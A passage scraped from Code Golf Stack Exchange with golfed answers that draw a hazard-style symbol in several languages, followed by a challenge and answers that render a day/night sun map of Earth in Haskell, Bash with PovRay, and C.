4.72 6.81} $x} .c move all 99 99 ``` That version, however, is boring, since you get the same small-sized image no matter what. It does satisfy the OP conditions for displaying on-screen, however. Here is the uncompressed version with commentary and the ability to specify a size added in: ``` # Input: command line argument is the pixel width (same as the height) of the window to create # For example: # wish a.tcl 500 set window_size $argv set foreground_color #000 set background_color #F50 pack [canvas .c -bg $background_color -width $window_size -height $window_size] # Helper procs to generate x,y coordinates proc radius->x,y r { list [expr {$r*cos($::angle)}] [expr {$r*sin($::angle)}] } proc center_offset,radius->rectangle {offset r} { lassign [radius->x,y $offset] x y list [expr {$x-$r}] [expr {$y-$r}] [expr {$x+$r}] [expr {$y+$r}] } # Tk's canvas does not scale line widths, so we have to do that manually # The $scale is a global variable for compressing the code text above set scale [expr {$window_size*.016}] # These three procs draw items in the canvas proc circle {offset r color} { .c create oval {*}[center_offset,radius->rectangle $offset $r] -fill $color -outline $color } proc line {p q w} { .c create line {*}[radius->x,y $p] {*}[radius->x,y $q] -width [expr {$::scale*$w}] -fill $::background_color } proc annulus {offset r w color} { .c create arc {*}[center_offset,radius->rectangle $offset $r] -width [expr {$::scale*$w}] -start 0 -extent 359.9 -style arc -outline $color } # Our list of shapes to draw # circle center_offset, radius, color # line end_offset_1, end_offset_2, line_width # annulus center_offset, radius, line_width, color foreach command { {circle 11 15 $foreground_color} {circle 15 10.5 $background_color} {line 0 5 1} {line 20 40 4} {circle 0 3 $background_color} {annulus 0 11.75 3.5 $foreground_color} {annulus 15 10 1 $background_color} } { # Each command gets applied thrice, rotated $angle radians each time foreach angle {2.62 4.72 6.81} $command } .c scale all 0 0 $scale $scale .c move all [expr {$window_size/2}] [expr {$window_size/2}] # Some random convenience stuff for playing with it bind . <Escape> exit after 500 {focus -force .} ``` Sorry, no pictures (working off my phone today). Produces a black symbol on a biohazard orange background. [Answer] # [Scratch](https://scratch.mit.edu), 423 bytes [Try it online!](https://scratch.mit.edu/projects/525393475) Surprisingly, Scratch beats more than 0 other langauges! Alternatively, 46 blocks. ``` define T(o turn cw(o)degrees define P(s set pen size to(s define (d)(r)(t)(c set pen color to(c P(1 repeat(3 move(d)steps repeat(360 move(r)steps pen down move(t)steps pen up move(()-((r)+(t)))steps T(1 end move(()-(d))steps T(120 when gf clicked repeat(2 point in direction(0 erase all (22)()(30)( (30)()(19)(#fff repeat(3 P(2 pen down move(52)steps P(8 pen down pen up go to x()y( T(120 ()(20)(7)( ()()(6)(#fff (30)(19)(2)(#fff ``` # Explanation ## Definitions ``` define T(o Obligatory hat block turn cw(o)degrees Rotate clockwise a specified amount of degrees define P(s Obligatory hat block set pen size to(s Sets pen size to a specified amount define (d)(r)(t)(c d=distance, r=radius, t=thickness (of ring), c=color set pen color to(c Sets pen to a specified color P(1 Sets pen size to be 1 pixel in diameter repeat(3 Loops code for each circle move(d)steps Moves a specified distance away from the center repeat(360 Loops code for each ray being drawn in a circle move(r)steps Moves to the inner edge of the ring, without applying pen pen down Begins to apply pen move(t)steps Applies pen for the specified thickness of the ring pen up Stops applying the pen move(()-((r)+(t)))steps Moves back to the center of the circle being drawn T(1 Rotates 1 degree clockwise end Ends code to be looped go to x()y( Moves to the center T(120 Rotates in preparation of next circle ``` ## Construction ``` when gf clicked Initiates code repeat(2 Loops code twice, skipping the need to move to the origin. point in direction(0 Resets angle erase all Clears stage (22)()(30)( Draws 3 black circles 22 pixels from the center, with a radius of 30 (30)()(19)(#fff Draws 3 white circles 30 pixels from the center, with a radius of 19 repeat(3 Loops code for each break to be made P(2 Sets pen size to 2 pixels in diameter pen down Applies pen move(52)steps Draws a white line from the center P(8 Sets pen size to 8 pixels in diameter pen down Applies pen, creating the gap in the outer rings pen up Removes pen go to x()y( Moves to the origin T(120 Rotates 120 degrees clockwise ()(20)(7)( Draws a black ring 7 pixels thick with an internal radius of 20 pixels ()()(6)(#fff Draws a white circle with a 6 pixel radius (30)(19)(2)(#fff Draws 3 white rings 30 pixels from the center, 2 pixels thick, and an internal radius of 29 pixels ``` [Answer] # [C (GCC)](https://gcc.gnu.org), 319 bytes ``` #define q(i)x*x+(y-i)*(y-i)main(k,w,i,j,z){scanf("%d",&k);i=w=65*k;float x,y,s;for(printf("P5\n%d %d\n1\n",2*w,2*w);i-->-w;)for(j=-w;j++<w;putchar((q(22)>900|q(30)<441|q(0)<36|(s=labs(x))<1|s<4&y>30)&(q(0)<400|q(0)>729)|q(30)<441&q(30)>400))s=sqrt(3),z=i<0|abs(j)>s*i,s/=j>0?2:-2,x=(z?i*s+j/2.:j)/k,y=(z?j*s-i/2.:i)/k;} ``` [Attempt This Online!](https://ato.pxeger.com/run?1=RZBRToNAEIbjTZqakpll19Itrbaw2yt4gCYGoegulRaWBqh4El_60kt5GhfU-DCTL__8_zz8n9f46SWOL5frqUrZw9fN5jbZpSrfjQpQ2JDGhZYpJMN-i1QOGa2popqe8d3EUZ7CeJKMqZNhoEQtlguSBen-EFWjhrbUBOmhhGOp8soaHxfbfJKMJsk2n23zMeWk7scmGZOsDrA3a2FJu25YB8dTFb9GJUABnKNceV5XwNzD0PdnlizMlx0YsY-eDTSI4awzoe-00nocGAz-kPFQ3vMV_qedgaS9IhphirKCOdKzUKHX9c80SkMUNVOhpbfha8ZpI-C8UcS4esrv1hqnGW17SRPDVC8pKwUfPz3-1vlX6zc) Takes the scale factor (a positive integer) from `stdin`, and outputs on `stdout` a binary (black and white) [PGM](http://netpbm.sourceforge.net/doc/pgm.html) image. Formatted version: ``` // q(i) == x^2 + (y-i)^2 // used to draw circles of center (x,y-i) #define q(i)x*x+(y-i)*(y-i) main(k,w,i,j,z){ scanf("%d",&k); i=w=65*k; float x,y,s; // PPM header printf("P5\n%d %d\n1\n",2*w,2*w); for(;i-->-w;) for(j=-w;j++<w;) // rotates the points of the bottom part by +120 or -120 degrees s=sqrt(3), z=i<0|abs(j)>s*i, s/=j>0?2:-2, x=(z?i*s+j/2.:j)/k, y=(z?j*s-i/2.:i)/k, putchar((q(22)>900|q(30)<441|q(0)<36|(s=labs(x))<1|s<4&y>30)&(q(0)<400|q(0)>729)|q(30)<441&q(30)>400); } ``` [Answer] ## PostScript, ~~198~~ 106 bytes ``` 00000000: 3520 3592 8b88 3c36 3092 ad32 7b33 7b39 5 5...<60..2{3{9 00000010: 7b30 7d92 8333 3088 1532 3735 2e35 884f {0}..30..275.5.O 00000020: 9205 3232 881e 3832 2e33 8754 0192 0636 ..22..82.3.T...6 00000030: 8800 3730 2e35 9205 9242 924e 3330 8813 ..70.5...B.N30.. 00000040: 3088 ff92 0592 1492 6f88 1b30 885a 9205 0.......o..0.Z.. 00000050: 3230 885a 3092 0692 4292 4d88 7892 887d 20.Z0...B.M.x..} 00000060: 9283 88ff 3192 8b7d 9283 ....1..}.. ``` Before tokenization: ``` 5 5 scale 60 60 translate 2{3{9{0}repeat 30 21 275.5 79 arc 22 30 82.3 340 arcn 6 0 70.5 arc fill gsave 30 19 0 -1 arc clip newpath 27 0 90 arc 20 90 0 arcn fill grestore 120 rotate}repeat -1 1 scale}repeat ``` This draws 1/6 of the shape at a time: [![animation](https://i.stack.imgur.com/tvQK3.gif)](https://i.stack.imgur.com/tvQK3.gif) Final output: [![output rendered in Preview.app](https://i.stack.imgur.com/eP6bH.png)](https://i.stack.imgur.com/eP6bH.png) [Answer] # JavaScript, ~~193~~ ~~189~~ 183 bytes ``` (x,y,t=(r,c=0)=>(R=(u,v=y-c/2)=>u*u+v*v<r*r)(x,y+c)|R(x+(X=c*.75**.5))|R(x-X))=>t(15,11)&!(t(10.5,15)|t(3)|((y<0?4*x*x:((x*x)**.5-y*3**.5)**2)<(y*y>36?16:1)))|t(13.5)&!t(10)&t(9.5,15) ``` A pixel shader taking `x` and `y` centred around `[0, 0]` to the scale of the spec. Outputs truthy or falsey depending on whether to draw the pixel. Ungolfed and explained: ``` (x, y, // the current pixel t = ( // define a func 't' to check if pixel is in any of 3 circles around centre r, // radius of circle c = 0 // distance from centre ) => ( // define a func 'R' to check if pixel inside a circle R = (u, v = y - c / 2) => u ** 2 + v ** 2 < r ** 2 )(x, y + c) | // call 'R' on each circle centre R(x + (X = c * Math.sqrt(3) / 2)) | // use default y R(x - X) // use default y ) => t(15, 11) & // 3 largest circles !( t(10.5, 15) | // large circle cutouts t(3) | // tiny centre circle ((y < 0 ? // remove gaps 4 * x ** 2 : // top half (Math.abs(x) - y * Math.sqrt(3)) ** 2) < // bottom half (y ** 2 > 36 ? 16 : 1))) | // a bit of pythagoras t(13.5) & // pixel inside ring !t(10) & // (ring inner) t(9.5, 15) // (ring cut-away) ``` ``` shader = (x,y,t=(r,c=0)=>(R=(u,v=y-c/2)=>u*u+v*v<r*r)(x,y+c)|R(x+(X=c*.75**.5))|R(x-X))=>t(15,11)&!(t(10.5,15)|t(3)|((y<0?4*x*x:((x*x)**.5-y*3**.5)**2)<(y*y>36?16:1)))|t(13.5)&!t(10)&t(9.5,15) const size = 400; const scale = 60; const ratio = scale / size; const canvas = document.getElementById('canvas'); canvas.width = canvas.height = size; const ctx = canvas.getContext('2d'); let x, y; for (x = 0; x < size; x++) for (y = 0; y < size; y++) { ctx.fillStyle = shader((x - size / 2) * ratio, (y - size / 2) * ratio) ? 'black' : 'orangered'; ctx.fillRect(x, y, 1, 1); } ``` ``` <canvas id="canvas"/> ``` ]
[Question] [ Our closest star, the sun, is quite fidgety. The times it rises and sets depend on where you are, and whether it is winter or not. We would like to be able to deduce if the sun is shining outside without having to leave the comforts of our basements - which is why we need an up-to-date sun map (a.k.a. daylight map). You are the one to write a program that generates just that! **Rules:** Your program should output an image (in a known format) or an ASCII art representation of our planet, showing (an approximation of) which parts are currently lit by the sun. Your program must be *original* and *self-contained*: you are not allowed to copy, use, include or call any code except your programming language's standard libraries. If you still don't have a clue what I'm talking about, here's an example from Wikipedia: ![Example sun map](https://upload.wikimedia.org/wikipedia/commons/9/99/Daylight.png) This is a *popularity contest*. You should note in your answer which of the following you're trying to achieve (multiple choices possible): * Correctness. Note that the rules say 'an approximation of' - the better your approximation, the more points in this category. You can check your implementation against [Wolfram Alpha's](http://www.wolframalpha.com/input/?i=day-night+terminator), [Time and Date's](http://www.timeanddate.com/scripts/sunmap.php) or [die.net's](http://www.die.net/earth/). * Functionality. For example, what about interactivity? Marking specific locations? Mapping other planets? * Aesthetics. Drawing continents? Bonus points. Textured continents? Bonus points. On a 3D earth? With clouds? Stars? *Correct* stars? Massive bonus points. And so on. * Using uncommon, old, or just plain wrong technology. Sure, you could whip this up in Mathematica, but have you considered using `m4`? SQL? Forth? x86 assembly? * Fun. Want to use a [Dymaxion-projection map](https://upload.wikimedia.org/wikipedia/commons/a/a8/Dymaxion_map_unfolded.png)? Go ahead! * Short code. This is the Code Golf SE, after all. Have fun! [Answer] # Haskell - low quality code I was extremely tired when I wrote this. ![](https://i.stack.imgur.com/Hll7o.gif) I might have gone too far with projections idea, anyway, [here](https://i.stack.imgur.com/okHo6.png)'s the projection the program uses. Basically like projecting earth onto a cube and then unfolding it. Besides, in this projection, the shadow is made of straight lines. The program uses current date/time, and outputs a PPM file on stdout. ``` import Data.Time.Clock import Data.Time.Calendar import Control.Applicative import Data.Fixed import Data.Maybe earth :: [[Int]] earth = [[256],[256],[256],[256],[64,1,1,2,1,5,14,16,152],[56,19,3,27,1,6,50,1,2,1,90],[53,6,1,11,2,36,26,1,2,1,16,2,1,1,2,1,24,4,66],[47,2,5,14,4,35,22,7,54,2,1,3,60],[38,1,2,2,3,1,6,1,2,1,2,7,6,1,1,33,24,3,3,1,56,2,60],[34,2,1,4,2,1,3,1,1,3,3,2,15,3,3,29,57,5,19,1,2,11,17,1,1,1,34],[40,3,10,2,1,8,16,27,54,3,18,19,18,1,36],[33,6,5,3,2,3,1,3,2,2,1,5,16,21,1,2,53,2,10,1,6,19,1,7,4,3,9,2,33],[32,4,1,7,1,2,3,2,1,1,3,11,14,23,53,2,10,3,1,4,2,33,7,7,29],[8,5,25,10,5,3,2,14,10,2,1,18,1,2,31,6,18,1,7,4,1,60,22],[5,18,2,12,3,5,1,3,2,2,1,3,4,2,3,8,11,18,30,13,9,2,7,3,2,72,1,6,8],[4,36,2,1,1,4,3,7,1,4,3,9,8,15,34,18,2,2,2,17,1,78,4],[4,1,1,27,3,1,1,24,6,3,1,1,1,3,6,13,13,1,20,15,1,4,1,104,1],[3,31,1,24,1,2,4,8,10,9,12,6,18,7,3,7,1,1,2,99,3,2,2],[7,50,2,2,2,1,2,1,3,2,1,2,10,7,15,1,20,7,2,111,7,1],[4,35,1,15,9,1,1,3,4,1,12,5,34,8,3,110,10],[4,9,1,2,1,37,12,6,16,3,34,8,3,96,5,6,13],[6,6,1,1,8,32,12,6,3,1,49,9,4,2,1,86,1,3,4,2,19],[9,2,1,1,11,31,11,11,40,1,8,1,2,4,5,83,12,3,20],[8,1,16,33,9,11,39,2,8,1,2,3,3,83,13,5,19],[28,33,5,12,40,2,7,3,6,62,1,19,13,5,20],[27,36,2,15,34,3,2,2,6,71,1,22,11,2,22],[30,21,1,11,2,16,33,3,1,4,2,72,1,24,1,1,9,1,23],[31,21,1,26,39,4,1,98,1,1,33],[31,42,7,1,40,100,1,1,33],[33,25,2,15,4,4,35,102,36],[33,23,2,1,2,14,8,1,36,27,1,9,1,61,3,1,33],[33,26,5,14,42,10,1,11,2,2,2,7,3,5,1,9,1,44,38],[33,26,1,2,1,9,2,1,45,7,1,2,2,9,8,6,2,6,1,53,4,2,33],[33,26,1,4,1,6,44,8,6,2,3,7,9,5,3,56,1,1,4,3,33],[33,37,45,8,7,2,3,6,2,4,3,6,4,53,43],[33,36,46,6,6,1,4,1,2,2,3,16,3,47,1,5,8,2,34],[34,34,46,7,11,1,3,2,2,16,3,45,6,2,8,1,35],[34,33,48,5,11,1,4,1,4,16,2,49,3,2,6,2,35],[35,32,54,8,17,60,5,2,4,4,35],[36,30,50,12,18,60,8,2,1,1,38],[38,27,50,15,16,61,6,2,41],[38,25,51,18,3,4,6,62,6,1,42],[39,1,1,17,2,3,51,93,49],[40,1,1,11,9,2,49,31,1,10,2,50,49],[40,1,2,9,10,2,48,33,1,10,2,49,49],[41,1,2,8,11,1,47,34,2,10,5,44,50],[42,1,2,7,58,36,1,11,2,1,8,36,51],[46,6,58,36,2,15,7,34,2,1,49],[46,6,12,2,43,38,2,14,7,2,1,12,1,15,55],[46,6,5,2,7,2,41,38,2,14,10,10,4,10,59],[47,6,3,3,10,3,38,37,3,12,11,8,6,9,2,1,57],[49,10,51,38,3,9,13,7,8,9,9,2,48],[51,7,51,40,2,7,15,6,9,1,1,8,8,2,48],[55,7,47,41,1,6,17,4,12,8,8,1,49],[57,5,47,42,1,2,20,4,13,8,9,1,47],[59,3,8,1,38,43,22,4,13,1,2,4,10,2,46],[60,2,6,5,38,41,1,4,18,3,17,3,10,2,46],[61,2,1,1,2,3,1,7,34,45,18,2,18,1,60],[63,1,2,13,33,44,22,1,12,1,16,3,45],[66,14,33,43,22,1,13,1,14,1,1,1,46],[66,18,30,4,1,1,5,30,34,1,2,2,9,3,50],[66,19,43,27,34,2,2,1,7,3,52],[65,20,43,26,36,2,1,2,5,5,51],[65,21,42,24,39,3,4,7,2,1,1,1,1,1,44],[56,1,7,23,41,16,1,6,41,2,4,6,7,1,44],[64,25,39,16,1,5,42,3,4,5,2,1,8,1,2,1,37],[64,29,35,22,43,3,1,1,2,3,2,1,1,1,2,1,1,2,1,7,6,1,27],[63,31,35,20,45,2,11,1,9,7,4,2,26],[64,32,34,19,67,1,2,6,1,2,28],[65,31,34,12,1,6,48,4,18,6,31],[65,31,34,19,54,2,1,2,2,1,10,2,2,1,30],[66,29,36,14,1,3,57,1,19,2,28],[66,29,36,14,1,4,63,1,42],[67,27,36,15,1,4,63,5,3,2,33],[67,26,37,20,5,2,53,2,1,4,4,2,33],[68,25,37,20,4,3,52,9,3,3,32],[70,23,36,20,3,4,53,11,1,4,31],[71,22,37,17,5,4,51,18,31],[71,22,37,16,7,3,50,20,30],[71,21,39,15,6,3,5,1,42,24,29],[71,20,40,15,6,3,47,26,28],[71,17,43,15,6,3,46,28,27],[71,16,45,13,8,1,48,27,27],[71,16,45,12,58,28,26],[71,16,45,12,58,28,26],[70,16,47,10,59,28,26],[70,15,49,9,60,27,26],[70,14,50,7,62,7,6,13,27],[70,13,51,6,63,6,8,1,1,9,28],[70,10,138,10,28],[69,12,139,7,29],[69,11,141,5,19,3,8],[69,8,167,3,9],[69,8,166,1,1,1,10],[70,5,149,2,16,2,12],[69,6,166,3,12],[68,6,166,2,14],[68,5,166,3,14],[68,6,182],[67,6,183],[68,4,184],[68,4,6,2,176],[69,4,183],[70,5,20,1,160],[256],[256],[256],[256],[256],[256],[78,1,1,1,109,1,65],[75,2,115,1,23,1,39],[72,3,80,1,1,5,20,42,32],[74,1,70,1,4,21,5,52,2,1,25],[67,1,2,2,1,4,64,28,4,62,21],[69,9,34,1,1,1,1,1,1,1,2,48,3,69,15],[50,1,5,1,16,5,34,130,14],[32,1,1,2,4,1,3,1,4,29,32,128,18],[20,1,1,54,32,128,20],[17,49,34,137,19],[9,1,2,54,20,4,6,143,17],[16,51,18,5,10,135,21],[11,1,4,54,25,140,21],[12,66,4,155,19],[12,231,13],[0,6,9,5,2,234],[0,256],[0,256]] main = do header mapM_ line [0..299] where header = do putStrLn "P3" putStrLn "# Some PPM readers expect a comment here" putStrLn "400 300" putStrLn "2" line y = mapM_ (\x -> pixel x y >>= draw) [0..399] where draw (r, g, b) = putStrLn $ (show r) ++ " " ++ (show g) ++ " " ++ (show b) pixel x y = fromMaybe (return (1, 1, 1)) $ mapRegion (\x y -> (50, -x, y)) (x - 50) (y - 50) <|> mapRegion (\x y -> (-x, -50, y)) (x - 150) (y - 50) <|> mapRegion (\x y -> (-x, y, 50)) (x - 150) (y - 150) <|> mapRegion (\x y -> (-50, y, -x)) (x - 250) (y - 150) <|> mapRegion (\x y -> (y, 50, -x)) (x - 250) (y - 250) <|> mapRegion (\x y -> (y, -x, -50)) (x - 350) (y - 250) where mapRegion f x y = if x >= -50 && y >= -50 && x < 50 && y < 50 then Just $ fmap (worldMap . shade) getCurrentTime else Nothing where t (x, y, z) = (atan2 y z) / pi p (x, y, z) = asin (x / (sqrt $ x*x+y*y+z*z)) / pi * 2 rotate o (x, y, z) = (x, y * cos o + z * sin o, z * cos o - y * sin o) tilt o (x, y, z) = (x * cos o - y * sin o, x * sin o + y * cos o, z) shade c = ((t $ rotate yearAngle $ tilt 0.366 $ rotate (dayAngle - yearAngle) $ f x y)) `mod'` 2 > 1 where dayAngle = fromIntegral (fromEnum $ utctDayTime c) / 43200000000000000 * pi + pi / 2 yearAngle = (fromIntegral $ toModifiedJulianDay $ utctDay c) / 182.624 * pi + 2.5311 worldMap c = case (c, index (t $ f x y) (p $ f x y)) of (False, False) -> (0, 0, 0) (False, True) -> (0, 0, 1) (True, False) -> (2, 1, 0) (True, True) -> (0, 1, 2) where index x y = index' (earth !! (floor $ (y + 1) * 63)) (floor $ (x + 1) * 127) True where index' [] _ p = False index' (x:d) n p | n < x = p | otherwise = index' d (n - x) (not p) ``` That's right - triangular `where`-code, nested `case`s, invalid IO usage. [Answer] # Haskell, in the 'because it's there' category I was curious so I wrote one. The formulas are reasonably accurate[1], but then I go and use some ascii art instead of a proper Plate Carrée map, because it looked nicer (the way I convert pixels to lat/long only works correctly for Plate Carrée) ``` import Data.Time d=pi/180 tau=2*pi m0=UTCTime(fromGregorian 2000 1 1)(secondsToDiffTime(12*60*60)) dark lat long now = let time=(realToFrac$diffUTCTime now m0)/(60*60*24) hour=(realToFrac$utctDayTime now)/(60*60) mnlong=280.460+0.9856474*time mnanom=(357.528+0.9856003*time)*d eclong=(mnlong+1.915*sin(mnanom)+0.020*sin(2*mnanom))*d oblqec=(23.439-0.0000004*time)*d ra=let num=cos(oblqec)*sin(eclong) den=cos(eclong) in if den<0 then atan(num/den)+pi else atan(num/den) dec=asin(sin(oblqec)*sin(eclong)) gmst =6.697375+0.0657098242*time+hour lmst=(gmst*15*d)+long ha=(lmst-ra) el=asin(sin(dec)*sin(lat)+cos(dec)*cos(lat)*cos(ha)) in el<=0 td x = fromIntegral x :: Double keep="NSEW"++['0'..'9'] pixel p dk=if dk && p`notElem`keep then if p==' ' then '#' else '%' else p showMap t= do let w=length(worldmap!!0) h=length worldmap putStrLn (worldmap!!0) putStrLn (worldmap!!1) mapM_(\y->do mapM_(\x->let lat=(0.5-td y/td h)*pi long=(0.5-td x/td w)*tau in putStr [pixel ((worldmap!!(y+2))!!x) (dark lat long t)]) [0..(w-1)] putStrLn "") [0..(h-4)] putStrLn (last worldmap) main = do {t<-getCurrentTime; showMap t} worldmap=[ "180 150W 120W 90W 60W 30W 000 30E 60E 90E 120E 150E 180", "| | | | | | | | | | | | |", "+90N-+-----+-----+-----+-----+----+-----+-----+-----+-----+-----+-----+", "| . _..::__: ,-\"-\"._ |7 , _,.__ |", "| _.___ _ _<_>`!(._`.`-. / _._ `_ ,_/ ' '-._.---.-.__|", "|.{ \" \" `-==,',._\\{ \\ / {) / _ \">_,-' ` mt-2_|", "+ \\_.:--. `._ )`^-. \"' , [_/( __,/-' +", "|'\"' \\ \" _L oD_,--' ) /. (| |", "| | ,' _)_.\\\\._<> 6 _,' / ' |", "| `. / [_/_'` `\"( <'} ) |", "+30N \\\\ .-. ) / `-'\"..' `:._ _) ' +", "| ` \\ ( `( / `:\\ > \\ ,-^. /' ' |", "| `._, \"\" | \\`' \\| ?_) {\\ |", "| `=.---. `._._ ,' \"` |' ,- '. |", "+000 | `-._ | / `:`<_|h--._ +", "| ( > . | , `=.__.`-'\\ |", "| `. / | |{| ,-.,\\ .|", "| | ,' \\ / `' ,\" \\ |", "+30S | / |_' | __ / +", "| | | '-' `-' \\.|", "| |/ \" / |", "| \\. ' |", "+60S +", "| ,/ ______._.--._ _..---.---------._ |", "| ,-----\"-..?----_/ ) _,-'\" \" ( |", "|.._( `-----' `-|", "+90S-+-----+-----+-----+-----+----+-----+-----+-----+-----+-----+-----+", "Map 1998 Matthew Thomas. Freely usable as long as this line is included"] ``` Example output, from a more interesting time of year (we're near the equinox, so Wander Nauta's rectangular blobs are fairly accurate :) ) - this is for Jan 16 13:55:51 UTC 2014: ``` 180 150W 120W 90W 60W 30W 000 30E 60E 90E 120E 150E 180 | | | | | | | | | | | | | %90N%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %##########%#%%%%%%%%##%%%%%%%#######%7#######%#####%%%%%#############% %##%%%%%#%#%%%%%%%%%%%%%%####%########%%%#####%%#%%%##%##%%%%%%%%%%%%%% %%%#####%#%#%%%%%%%%%%%##%##%#%%#####%#%#%%%%%%#%################%%%2%% %#%%%%%%%#######%%%#%%%%%#%%######, [_/( ##############%%%%%%#% %%%%#####%#########%####%%##### oD_,--' ####%#####%%#%%###% %#########%###########%%##### _)_.\\._<> 6 ######%%%#%##%###% %#########%%#########%###### [_/_'` `"( ###%%%##%######% %30N#######%%####%%%#%##### / `-'"..' `:._ ###%%##%#######% %###%########%##%##%%##### / `:\ > \ ,-^. #%%#%#########% %#############%%%%###%%### | \`' \| ?_)##%%#########% %################%%%%%%%# `._._ ,' "` |' %%#%%########% %000###############%####`-._ | / `:`<_%%%%%%######% %##################%#### > . | , `=.%%%%%%%#####% %###################%%# / | |{| %%%%%#####%% %####################%# ,' \ / `' ,"#####%#####% %30S#################% / |_' | %%##%#####% %####################% | '-'##%%%###%%% %####################|/ ##%####%#% %####################\. #####%##% %60S################ ########% %################## ,/ ______._.--._ _..---.-------%%%%###% %####%%%%%%%%%%%%%--_/ ) _,-'" " ##%##% %%%%%########### `-----' ##%%% %90S%%%%%%%%%----+-----+-----+----+-----+-----+-----+-----+-----+----%% Map 1998 Matthew Thomas. Freely usable as long as this line is included ``` [1] they're the same as you'll find elsewhere, except without the extra work to keep degrees between 0 and 360, hours between 0 and 24, and radians between 0 and 2pi. I think those are holdovers from the days we used slide rules; trig functions work just fine outside those ranges... [Answer] ![Animation](https://i.stack.imgur.com/DIQrw.gif) . # Bash, 882\* characters This is my second entry, this time in the **Aesthetics**, **Weird tech**, **Fun** and **Short code** categories. It's inspired by Ram Narasimhan's entry and Peter Taylor's comment. The script first generates a low-res texture of the world, bundled as base64-encoded data. It then generates 24 PovRay-scenes containing a sphere with that texture, each one rotated to 'face the sun'. Finally, the frames are combined into a GIF animation using ImageMagick. *This means you'll have to have both PovRay and ImageMagick installed for the script to work - feel free to ignore this entry if you think that should disqualify it.* Like Ram's entry, and my first entry, this does not account for seasonal change, which means it's not very precise. It is, however, shorter, prettier and more precise than my first entry - and unlike Ram's entry, the map data and the code for generating the GIF animation are included. ``` echo ' iVBO Rw0KGgoAAAA NS UhE U g AAAEgAAAA kAQMAAAAQFe4lAAAABlB MVEUAFFwAbxKgAD63 AAAA AWJLR0 QAiAUdSAAAAAlwSFlzAAALEwAACx MB AJqcGAAAAAd0SU1FB9 4DE hUWI op Fp5MAAADDSURBVBhXrcYhTsNQGADgr3ShE4Qi h4BeYQFBgqAJN8Lh +r jBb rArIJHPobgAgkzgeSQkVHT7MWThAHzq44 /j/jezy6jSH M6fB gd 9T Nbxdl99R4Q+XpdNRISj4dlFRCz oI11FxIpup4uIRDe5 fokp0Y2W25jQFDfrGNGsDNsoqBaGj34D2 bA7TcAwnmRoDZM 5tLkePUJb6uIT2rEq7hKaUhUHCXWpv7Q PqEv1rsuoc7X RbV Bn2d kGTYKMQ3C7H8z2+wc/eMd S QW39v8kAAA AA SUVOR K5CYII='|base64 \ -di>t;for X in {0..23};do R=$((90-(\ $X*15) )); echo "camera{location <0, 0, -5> angle 38 } light_source{ <0,0, -1000> rgb < 2,2, 2>} sphere {<0 ,0,0> 1 pigment { /**/ image_map{\"t\" map_type 1}} rotate <0,$R,0> }">s ;povray +Is +H300\ +Of$X.png +W400 mogrify -fill white \ -annotate +0+10 "$X:00" \ -gravity south f$X.png done; convert -delay \ 100 -loop 0 $(ls f* \ |sort -V) ani.gif exit; ``` As a **bonus**, here's a GIF that uses NASA's Blue Marble image instead of the space-saving 1-bit texture, i.e. what the result would have looked like without any size restriction: <https://i.stack.imgur.com/euOZf.gif> \*: 882 characters not counting decorative whitespace, 1872 characters total. [Answer] I decided to kick off the contest with an entry of my own, in the **short code** category. It's 923 characters long, not counting newlines. # C: 923 characters Here's the code: ``` i;j;w=160;f=40;t;b;p;s;e;k;d=86400;q=599; char* m="M('+z EDz :!#\"!*!8S$[\"!$!#\"\")\"!3R)V$'!!()1M./!F)\"!!!!)'/GE5@\"\"!&%.3&,Y$D\"!!%$)5i\"\"\"F\"%&&6%!e'A#!#!!#&$5&!f&A'$*\"5&!c-#'3''8\"$!!#\"U'\"=5$'8#$$\"S(#=7!*5\"!\"#['!A@6#!^H=!#6bH;!!!\"6_!!I;<&!&\"!!$\"F\"!I8;&\"#\"$&#\"C#\"I7<%#!\"/\"BP5=$*,\"=#\"$!L4A%&\"\"G\"\"\"#M1@)*F\"%P/@,!N#!S(E;!@W'E=!!!<Y&D7!&!\"$7\\$D8!)$4_$C8!('&#&!!a&@9!&(%$&g$>9!$*#(%h\">:!!-\"(%&!b!$&5:!\"+\"(!!#$!!!c+5<-!'!'!#!e)5:.!(!&!\"\"e,:25!!!\"!\"\"h-;07#\"$h.9/:\"\"$!!#\"a17-;'!\"$!!\"$!X46,<\"%\"&$\\45,>#&!$$#!W45,C!!!'!\"!$!V26,H\"#!$!\"!\"!S17-#!A!!#\"!_07,\"#A&!\"`.7+#\"A*.!Q.7*$\">/^-9)$\"=0^*<)$!>1]*<(D1])>&E2\\)>&F&!)\\)@#G$%(\\'w%]'x#,\"P%z .\"P%z .!R$z -\"S$z b#z c#z d#z 3"; main(){ t=(time(0)%d*160)/d; printf("P2\n%d 62\n5\n",w); for(;i<q;i++){ for(j=m[i]-' ';j>0;j--){ p=k%w,s=(t-f),e=(t+f); printf("%c ","1324"[b*2+((p>s&&p<e)||(p>s+w&&p<e+w)||(p>s-w&&p<e-w))]); k++; } b=!b; } } ``` Here's how it works: > > A crude bitmap of the world\* is run-length encoded as a string. Every character in the string represents a run of either land or sea pixels. Long runs of sea are split into a run of sea, then 0 land pixels, then another run of sea, to avoid including unprintable characters in the string. The Python script I wrote to convert PBM files into this format is [here](https://gist.github.com/wandernauta/9590491#file-enc-py). > > > I then use time() to find out how many seconds have passed in Greenwich since midnight, 1 January 1970. I modulo that to find out how many seconds have passed there today, using that information to position the light portion of the map more-or-less accordingly (I hope). > > > Correctness is a joke. There's no math at all. The code assumes the earth is a cylinder (block-shaped day/night), that the sun is directly above the equator (no summer/winter), and that you like the color gray (no color). > > > On the plus side, I do draw continents. > > > The output is in Portable Graymap (PGM) format, which can then be converted to PNG by something like ImageMagick or the GIMP. > > > > > Here's an example output, converted to PNG ([larger version](https://i.stack.imgur.com/HT86l.png)): ![Example output](https://i.stack.imgur.com/LqGh1.png) \*: The entire world except Antarctica, but who lives there anyway... [Answer] # Haskell - it's Hammer time. ![enter image description here](https://i.stack.imgur.com/ewcLe.gif) I did another one. Adapted from my previous version, this one uses an [oblique](http://www.progonos.com/furuti/MapProj/Normal/ProjObl/projObl.html) [Hammer projection](http://www.progonos.com/furuti/MapProj/Normal/CartHow/HowAiHaW3/howAiHaW3.html#HammerForm) to show both poles at the same time (in fact you're seeing the whole earth in each frame). Just for added weirdness, instead of using a bitmap directly, I [sampled the earth along a spiral](https://groups.google.com/d/msg/sci.math/CYMQX7HO1Cw/tFhJvkWHSjUJ) to give approximately equal area coverage; this is what allows me to distort the earth and rotate it easily. Hammer's projection is equal area too; my idea was that pairing these two things would lead to less distortion when I fill in the gaps. I display a graticule on the 